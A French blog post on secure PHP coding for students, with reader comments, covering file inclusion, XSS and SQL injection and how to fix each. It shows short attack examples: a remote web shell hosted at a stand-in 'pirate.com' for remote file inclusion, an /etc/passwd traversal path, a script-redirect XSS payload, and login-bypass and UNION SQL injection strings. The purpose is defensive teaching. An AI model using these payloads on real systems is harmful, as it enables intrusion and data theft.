Feed on
Posts
Comments

Nous avons actuellement un projet php/sql à developper pour l’iut, il s’agit bien entendu d’un projet noté. Durant nos séances de php, j’ai pu passer derrière différents amis soit pour les aider, soit pour relire leurs codes par curiosité, et ce que j’ai pu voir m’a parfois choqué. En effet, bien que notre professeur essaye de nous sensibiliser un minimum quant aux risques des applications non sécurisées, la majorité des élèves n’en mesurent pas réellement les conséquences, même s’ils savent par définition qu’une faille, c’est quelque chose de mal. Je me souviens avoir entendu un midi, une personne expliquer à son binome une partie de son code:

<A> Ca sert à quoi ca?
<B> C'est pour la sécu, éviter les injections sql
<A> ah quand tu fous un OR 1=1?
<B> oui
<A> mais en fait, ca fait quoi quand tu fais ca?
<B> je sais pas
Je peux comprendre que tout le monde ne soit pas spécialement intéressé par la sécurité informatique, chacun son domaine on va dire. Mais ce qui me fait peur, c’est quand je regarde les archives des stages effectués sur les 3 dernières années par les élèves de mon iut: les 3/4 environ ont fait du developpement web . Et là, une peur me vient, j’imagine l’état du code developpé lors de leur stage qui sera ensuite utilisé par l’entreprise tout en laissant des trous béants mettant en peril celle-ci…

Ce post aura donc pour sujet, de montrer quelques méthodologies/façons de penser que j’utilise lors de mes developpements, ainsi que certains commentaires sur les erreurs que j’ai pu voir dans les codes de certains qui pensaient rendre leur application sure.

Les inclusions de code

Une des premières notions que les élèves ont decouvert à l’iut concernant le php, est la notion d’inclusion de code par l’intermédiaire de fonctions comme include(), require(), ..

Rapidement, ces fonctions prennent l’adresse (locale ou distante) d’un fichier, en lisent le contenu, et l’incluent dans le code php qui appelle la fonction d’inclusion afin que celui ci soit également executé. Un court exemple:

fichier a.php:

<?php
echo 'Message de A';
?>
fichier b.php:
<?php
echo 'Message de B';
include('a.php');
?>
cela exécutera le code suivant:
<?php
echo 'Message de B';
echo 'Message de A';
?>
L’utilisation de l’inclusion de code est bien pratique pour des raisons de modularité et de maintenabilité du code, mais on retrouve souvent l’utilisation suivante chez les débutants en php :
<?php
include('header.php');
include($_GET['page']);
include('footer.php');
?>
Si maintenant un pirate possède le code suivant :

<?php
system($_GET['cmd']);
?>

hebergé à l’adresse suivante: http://pirate.com/back.txt, il lui suffira de passer cette url dans la variable $_GET['page'] pour que le pirate puisse executer des commandes système sur votre serveur. Certaines personnes dans ma promotion tentent de se protéger en mettant en place un dossier « include/ » par exemple, contenant l’ensemble des fichiers qu’ils autorisent à inclure, et par conséquent modifient le code précédent de la façon suivante:

<?php
include('header.php');
if(is_file('include/'.$_GET['page']))
{
    include('include/'.$_GET['page']);
}
include('footer.php');
?>
Ce code a un avantage certain sur le plan de la sécurité, il empêche l’exploitation précédente puisque notre pirate s’il retente son exploitation tentera d’inclure « include/http://pirate.com/back.txt » ce qui bien sûr n’est pas possible. Cependant, votre site ne sera pas sécurisé à ce niveau pour autant, en effet il existe « deux types » d’exploitation des failles d’inclusions, les RFI (Remote File Include) que nous avons vues juste au dessus, en incluant un fichier distant, et les LFI (Local File Include) qui consistent comme leur nom l’indique à inclure un fichier local au systeme, en remontant l’arborescence du systeme de fichier, par exemple « ../../../../etc/passwd » aura pour conséquence d’afficher votre fichier /etc/passwd .

Pour beaucoup cela n’est pas grand chose, « le pirate ne peut inclure qu’un code que nous avons fait, rien qui lui permet donc de prendre contrôle de notre système », et bien comme vous pouvez vous en douter, ceci est faux, il existe plusieurs technique afin qu’un pirate puisse executer un code voulu en exploitant une LFI (en utilisant les fichiers de log apache, les sessions php, ou encore par l’utilisation d’un systeme d’upload d’image en placant le code php dans les commentaire d’un jpeg par exemple). Bref cet article n’a pas pour but de fournir une explication sur les méthodes d’exploitations, je ne m’etendrai donc pas plus dessus. Maintenant, la question à la base de cette partie, comment sécuriser ceci? Deux solutions possibles:

  1. Vous tenez à jour un tableau contenant la liste des fichiers que vous autorisez à être include() (Système de white list):
    <?php
    $white_list = array(
        'home' => 'index.php',
        'article' => 'article.php',
        'admin' => '4dm1n/administration.php'
        );
    
    include('header.php');
    if(!empty($_GET['page']) && array_key_exists($_GET['page'],$white_list))
    {
        include($white_list[$_GET['page']]);
    }else{
        include('index.php');
    }
    include('footer.php');
    ?>
  2. La premiere solution est trop contraignante car votre site change régulierement et vous avez de très nombreuses pages qui peuvent être include(), dans ce cas nous restons dans l’idée de créer un dossier dans lequel se trouveront nos fichiers autorisés à être include() mais il faut apporter une sécurité supplémentaire en s’assurant de l’isolation du systeme d’inclusion, celui ci doit se contenter d’inclure les fichiers dans notre dossier « include/ » et ne pas permettre au pirate de remonter dans l’arborescence:
    <?php
    include('header.php');
    if(!empty($_GET['page']) && preg_match('#^[[:alnum:]_]+$#',$_GET['page']) && is_file('include/'.$_GET['page'].'.php'))
    {
        include('include/'.$_GET['page'].'.php');
    }else{
        include('index.php');
    }
    include('footer.php');
    ?>

Les xss

Seconde faille que l’on retrouve, je pense même que c’est celle qu’on retrouve le plus dans les différents projets que j’ai pu voir parmi ceux des élèves de ma promotion, la xss. Il s’agit pour ceux qui ne la connaissent pas, d’injection de code arbitraire interprété côté client (comme de l’html, ou du javascript). Un exemple concret, imaginons un script php qui affiche un message d’erreur fournis par l’intermédiaire d’une variable en GET, par exemple: index.php?error=votre+mot+de+passe+est+trop+faible code d’index.php:

<?php
if(!empty($_GET['error']))
{
    echo 'Il y a eu une erreur: '.$_GET['error'];
}
echo '...';
?>
Sur cette page, un pirate peut injecter du code javascript, pour par exemple rediriger le visiteur sur une page de son choix: index.php?error=<script>document.location= »http://pirate.com »;</script> , ici rien de bien méchant, mais des exploitations plus « sévères » sont possible, comme la récupération de la session des visiteurs, la mise en place d’un phishing, exploitation de faille dans des plugins utilisés par le navigateur de la victime (flash,…), faire du keylogging, effectuer un scan d’un reseau local,… bref l’exploitation de faille xss n’a de limite que votre imagination.

Comment contrer cela? plutôt facilement, en effet il suffit d’appeler la fonction htmlentities sur les variables dont le contenu peut être choisi par l’utilisateur, mais encore faut il bien le faire et au bon moment..

Tout d’abord, qu’est-ce que j’entends par le faire au bon moment, dans tout les projets que j’ai pu voir a l’iut, les dev utilisaient htmlentities($var); au moment de l’insertion dans la base de donnée. Même si je saisis leur interêt à faire ceci, je ne peux m’empêcher de trouver ca totalement illogique. En effet htmlentities va convertir tout les caractères qui le peuvent sous la forme d’entité html ce qui aura pour conséquence, leur « non-interprétation » par le navigateur, <h1> va se transformer en &lt;h1&gt; ce qui évitera au navigateur de l’interpréter comme la balise h1, et donc nous protégera en théorie contre les xss. En quoi est-ce mal donc? Eh bien, personnellement, je prefere sécuriser selon le besoin, c’est-à-dire que de protéger une data venant d’un utilisateur contre les xss lors de son insertion dans une base de donnée ne sert a rien,  une xss est possible lors de l’affichage d’une data sur la page du site, lorsque les données sont en rapport avec de la manipulation sql, c’est contre les injections sql qu’il faut se protéger, ce sont deux choses différentes. Sachant cela, htmlentities n’est pas fais pour proteger contre les injections sql, et ca allourdis les entrées utilisateurs <h1> qui à la base prend 4caractères, est transformé en une chaine de 10caractères. Ah pis juste comme ca, comme je l’ai vu plusieurs fois à l’iut, htmlentities par defaut ne convertis pas les ‘ en entités html.. et la on a une sorte d’epic fail quand on lis un comme du genre:

mysql_query("SELECT * FROM bla WHERE id='".htmlentities($ta_var)."';");

si $ta_var vaut ‘ OR ‘a’='a par exemple, htmlentities ne changera rien à notre variable, ce qui permettra l’exploitation de l’injection sql :) ainsi pour convertir correctement les chaines, il faut utiliser htmlentities($ta_var,ENT_QUOTES) pour spécifier de convertir les ‘ également, mais de toute façon, vous ne devez pas utiliser htmlentities pour vous proteger des injections sql, ce n’est pas son boulot.

Donc pour conclure, la protection contre les xss, c’est lors de l’affichage de données pouvant avoir été manipulées par l’utilisateur, de plus cela permet de faciliter la relecture du code sur le plan de la sécurité: lors d’un echo d’une variable externe, si vous ne voyez pas de fonction htmlentities, vous n’avez plus besoin de vous demander si vous l’avez appliquée lors de l’insertion, ou si vous l’avez oublié.

Les injections sql

On va continuer maintenant sur un sujet abordé juste avant, les injections sql. Donc tout d’abord, l’injection sql intervient quand lors d’une requête sql, on utilise des données provenant d’une source externe, et que ces données ont une signification en SQL et ainsi par ce fait altèrent le sens de notre requête de base. Par exemple, un systeme d’authentification simpliste et non sécurisé, qui se base sur le nombre de résultats pour savoir si l’authentification est correcte ou non:

mysql_query("SELECT * FROM user WHERE login='".$_POST['login']."' AND password='".$_POST['pass']."';");

le code php derriere fonctionne de la facon suivante, si la requête ne retourne pas de résultat, l’authentification a échouée, dans le cas contraire l’utilisateur s’est authentifié correctement.

Deux cas:

  1. $_POST['login']= »sh4ka » & $_POST['pass']= »mdpdelamortquitue », la requête sql ressemblera à ceci
  2. SELECT * FROM user WHERE login='sh4ka' AND password='mdpdelamortquitue';
    Celle ci retournera les données de l’utilisateur dans le cas où il existe un compte ayant pour nom d’utilisateur sh4ka et comme mot de passe mdpdelamortquitue, dans le cas contraire, elle ne retournera rien. Fonctionnement normal.
  3. $_POST['login']= »admin’ AND 1=1# » & $_POST['pass'] = « pasimportant », la requête sql resemblera à ceci
  4. SELECT * FROM user WHERE login='admin' AND 1=1# AND password='pasimportant';
    Cette requête retournera les infos de l’utilisateur admin si celui existe, et on n’a pas besoin d’avoir de mot de passe valide pour ce compte puisque le reste de la requête est mise en commentaire par l’utilisation du #. Voici un exemple concret d’exploitation d’injection sql, en dehors de pouvoir se loguer sur le compte d’un autre ;) les injections sql peuvent faire bien plus de dégats, on peut par exemple récuperer l’ensemble de la base de données (tables, données,..) , manipuler la base de données en général, interagir avec le systeme (lancement de commande systeme sur le serveur sql, ecriture et lecture de fichier toujours sur ce meme serveur, …).

Maintenant que nous venons de voir les risques encourus (je rappelle que le but n’est pas de montrer l’exploitation de ces failles mais comment les boucher et comprendre leurs conséquences, sinon cela prendrait bien un article à part entiere), il nous faut trouver un moyen de nous protéger. Pour ce faire nous allons devoir controler le format des données avec celui attendu, par exemple si nous attendons une addresse ip, il faut tout d’abord verifier que la donnée soit bien une ip valide, dans le cas contraire on signale à l’utilisateur que sa donnée n’est pas correcte et on evite la suite des opérations (la manipulation du sql) . Dans le cas où nous avons affaire a des champs de types texte, il nous faut échapper les caractères considérés comme spéciaux dans le langage SQL afin d’eviter une possible interprétation de ceux ci par le SGBD. Généralement il s’agit des caractères ‘,  » , \ pour les plus courants.

Revenons à notre cher iut, ceux qui sont un minimum sensibles aux injections sql, ont pour la plupart utilisés htmlentities sans prendre en compte les ‘ , tout en prenant soin d’entourer leur variables par des ‘ … bref epic fail (echec de la sécurité? :p), même si dans l’esprit c’est toujours mieux que ceux qui n’ont pas chercher à protéger leurs requêtes sql et ont directement injecté le contenu de leurs variables externes dans leurs requêtes. D’autres plus malins ont utilisé la fonction mysql_real_escape_string(), cette fonction est bien adaptée à la situation, puisqu’elle a pour but justement d’échaper les caractères ayant une signification particulière en SQL afin d’empecher les injections sql. Mais, oui y’a souvent un mais en sécurité, sinon après tout, on aurait pas de boulot si c’etait aussi simple ;) Comme je disais plus haut, il ne suffit pas d’appliquer bêtement des fonctions pour se securiser, il faut reflechir un minimum et verifier avant à quel type de données on a et on est censé avoir affaire, exemple concret de code que j’ai pu voir encore une fois à l’iut:

mysql_query('SELECT * FROM news WHERE id='.mysql_real_escape_string($_GET['id']));

Là on se dit, bon y’a un mysql_real_escape_string sur notre $_GET['id'], si un pirate injecte par ce coté, il sera bloqué puisque les caractères spéciaux du SQL seront échapé, oui mais non, si on reprend la courte liste non exhaustive de tout à l’heure : ‘  » \ , le pirate ici n’a pas besoin de ces caractères pour faire une injection sql, en effet $_GET['id'] est censé, ici, être un entier, il n’est donc pas entouré de guillemets, pas besoin pour le pirate donc d’en mettre afin de sortir de ce champ, exemple d’exploitation:

$_GET['id'] = "-1 UNION SELECT 1,2,@@version,4,5 FROM news"

Executera la requête suivante:

SELECT * FROM news WHERE id=-1 UNION SELECT 1,2,@@version,4,5 FROM news

Celle ci permettra au pirate de récuperer la version du mysql dans le cas présent, hebergeant la base de donnée.

Que faut il faire donc dans le cas présent? CONTROLER les données…(et d’ailleur ca doit etre fait tout le temps, et non pas juste dans le cas présent).Notre colonne id est de type entier, on attend donc que $GET['id'] soit un entier, on peut verifier cela en utilisant par exemple les filter* de php5 (fonctions très interressantes, peut être l’objet d’un futur article) , avec un

if(filter_var($_GET['id'],FILTER_VALIDATE_INT))

qui retournera vrai ou faux en fonction de si notre valeur est un entier ou non, de même que l’on peut caster directement notre variable en un entier sans prendre la peine de verifier sa valeur ici:

mysql_query('SELECT * FROM news WHERE id='.(int)$_GET['id']);

Pendant que j’y pense également, attention a ne pas utiliser mysql_real_escape_string pour se proteger de toute les injections sql, par exemple dans le cas ou vous utilisez une base de données oracle. En effet oracle contrairement à mysql ou d’autres sgbd utilise le caractère ‘ pour échaper les caractères spéciaux et non le . De plus je vous conseille plutot d’utiliser pdo et les requêtes préparées pour vous protéger correctement des injections sql (google pour plus d’informations, je reviendrais dessus peut être en faisant un article sur le sujet).

Bref la sécurité en programmation web, c’est pas forcément compliqué, il faut juste bien reflechir plutot que d’utiliser des fonctions dans n’importe quelle situation. J’avais vu encore quelques failles du coté des uploads, les .htaccess, et aussi quelques reglages à effectuer du coté du php.ini, mais bon l’article commence à être déjà trop long, et j’ai pas le courage à l’heure qu’il est d’écrire plus. Donc la suite peut être dans un prochain article, ou pas :)

Je tiens à rappeler que cet article expose mon point de vue sur la programmation sécurisée en php, je ne prétends pas vous apporter ici les meilleures solutions, mais juste celles qui me semblent le plus adaptées, n’hesitez pas à donner votre avis si vous n’etes pas d’accord avec celles ci ;)

13 Responses to “Quelques méthodes de programmation sécurisée en php”

  1. Geo dit :

    Salut, Sh4ka.

    Bon article dans l’ensemble, mais fais attention aux erreurs d’orthographe. Tu paraitrais plus professionnel si tu en faisais moins (parce que personne n’est parfait).

    Bonne lancée.

    Geo

  2. 5m0k3 dit :

    Hello Sh4ka :)

    Très bon article, mais j’ai une ou deux petites questions :(

    1) Prenons cette requete : mysql_query(‘SELECT * FROM news WHERE id=’.mysql_real_escape_string($_GET['id']));

    et modifions la un peu : mysql_query(‘SELECT * FROM news WHERE id_alphanumerique=’.mysql_real_escape_string($_GET['id']));

    mysql_real_escape_string n’est pas efficace ici, pas plus que addslashes … ? Donc il faut coder une fonction perso à chaque fois?

    2) En admettant qu’on choisisse mysql_real_escape_string … et si on utilise PDO_mysql … Je te demande par ca pour te mettre dans le rouge, juste parceque c’est ce que moi j’utilise ^^

    Continue tes articles, de qualité :)

  3. André Moulu dit :

    Merci a vous deux déjà pour vos retours ;)

    @5m0k3: id_alphanumerique est une chaine de caractère, donc ta variable doit etre encadré par des  » ou ‘ ce qui implique que ton code devient ca: mysql_query(’SELECT * FROM news WHERE id_alphanumerique= »’.mysql_real_escape_string($_GET['id']).’ »‘); Dans ce cas precis, pour sortir du champ id_alphanumerique tu devrais placer un « , mais cela sera empeché par mysql_real_escape_string ou addslashes ;) donc pas de soucis, par contre dans mon exemple justement il s’agit d’un id numérique, donc pas besoin de sortir du champ par un « , donc mysql_real_escape_string et addslashes seront inefficace.

    Donc non, il ne faut pas coder une fonction perso à chaque fois, il suffit juste de reflechir dans quel cas on se trouve ;) 1 – Dans le cas d’une variable de type numérique, dans ce cas je controle sa validité et j’utilise un cast pour etre tranquille 2 – On est dans le cas d’une variable de type chaine de caractère, on l’entoure par des ‘ ou  » dans notre requete sql, et on echape les caractères spéciaux à l’interieur pour eviter qu’on puisse « s’evader », donc en utilisant une fonction approprié selon le SGBD (l’exemple justement tout à l’heure de mysql qui echape des caractères en utilisant un \ et oracle qui utilise un ‘ ) comme mysql_real_escape_string.

    Dans le cas où tu utilises pdo, tu as : 1 – la méthode quote() qui s’occupe toute seule comme une grande d’encadré une variable par des ‘ en fonction de son type, et qui ensuite echape les caractères spéciaux à l’interieur si besoin est. 2 – ou les requêtes préparées qui utilisent les méthodes prepare() et bindParam()/execute() de PDO et PDOStatement

    Il est néanmoins préférable d’utiliser les requêtes préparées

  4. 5m0k3 dit :

    Yes, tu m’a enlevé un doute, petite erreur de lecture de ma part en fait… J’ai cru bon de reprendre tous mes codes depuis quelques années pendant une seconde… :o

    Merci pour les infos sur PDO, que je ne connaissoit point..

    Bye

  5. Xyo dit :

    Très bon article.

    Mais il y a déjà moyen d’éviter certaines tentatives en vérifiant d’avance que l’utilisateur à bien rentrer un mail, un string ou un int, suivant ce qu’on attend. Les fonctions is_int etc, sont là pour ce genre de choses, par exemple.

    Cela permet déjà d’éviter pas mal d’erreurs et surtout de failles béantes.

    Mais il est vrai que les programmeurs débutants n’ont pas spécialement des notions de sécurité et qu’il faut être prudent.

  6. sloshy dit :

    Hello, Faille include, directory transversal, XSS, injection SQL c’est un bon début. ca pourrait être fun de continuer, le blind sql, le bypass du htaccess avec limit, bref c’est sans doute sans fin.

    un petit lien vers l’OWASP pourrait être sympa pour ceux qui veulent approfondir le sujet.

    Bonne continuation.

  7. André Moulu dit :

    Tout d’abord merci pour ton avis :) Oui c’etait prevu que je fasse un post plus tard sur les fonctions de filter (les filter_var et cie) qu’on retrouve dans php5, et qui simplifie enormement la tache. Pour verifier la validité d’un email: filter_var($var,FILTER_VALIDATE_EMAIL); ca evite de devoir faire soit meme des regex, qui peuvent ne pas être efficace (je reviendrais dessus dans la suite de ce post ;) )

  8. André Moulu dit :

    Alors en ce qui concerne les problemes d’htaccess, c’est prevu pour la deuxieme partie ;) avec les problemes d’upload aussi etc Par contre les blind sql, ca se fera pas, ca change rien a ce qu’on a deja abordé ici sur le plan de la sécurisation et pour le moment le but n’est pas de montrer l’exploitation.

    Un lien vers google serait encore plus sympa pour ceux qui veulent appronfondir ;)

    Merci de ton retour :)

  9. michel v dit :

    J’ai failli arrêter la lecture à la fin de la section sur « inclure des fichiers avec $_GET['page']« .

    Faire ça, de manière secure ou non, c’est une belle connerie ; exposer le mécanisme de la sorte au visiteur, c’est à éviter absolument. (Un peu comme si tu faisais un tuto sur « Rouler en moto sur les remparts de Carcassonne sans polluer ! » alors qu’à la base le souci c’est pas la pollution, c’est que rouler en moto au dessus du vide est complètement crétin.)

    Quant aux injections SQL, je suis surpris que si peu de monde utilise sprintf(). Aussi, caster pendant la requête c’est sympa, mais peu lisible. Préparez vos variables en amont, au lieu de mettre des $_GET et $_POST dans vos queries comme des porcs. :) Vous aurez des variables propres pour tout le reste du script, et pas juste ces requêtes…

  10. michel v dit :

    5m0k3 : « Donc il faut coder une fonction perso à chaque fois? »

    Oui. Dès que tu utilises une identification autre que numérique, il faut que tu saches à l’avance quelle tête auront tes identifiants.

    Par exemple si tes identifiants alphanumériques générés ne matchent que [a-zA-Z0-9], que tu as un identifiant « pepe75″ et que tu ne filtres pas sur cette regex mais que tu te contentes d’escaper la chaîne qu’on te file, tu peux selon la collation de ta table te retrouver avec « pépé75″ en GET, qui matche quand même « pepe75″ dans ta base.

  11. Talus dit :

    Hello,

    A propos de filter : de mémoire, filter_var + email a une faille, je sais plus laquelle par contre. ou alors n’est plus très efficace… Enfin un truc du genre :) .

  12. Dilem dit :

    Très bon article dude :)

    Je vais relire ça tranquillement chez moi ce soir, car là au taf, c’est pas ce qu’il y a de mieux :)

    Dilem, a.k.a le TcK gay, homosexuel, et peut-être PD, mais j’ai des doutes quand même :)

Leave a Reply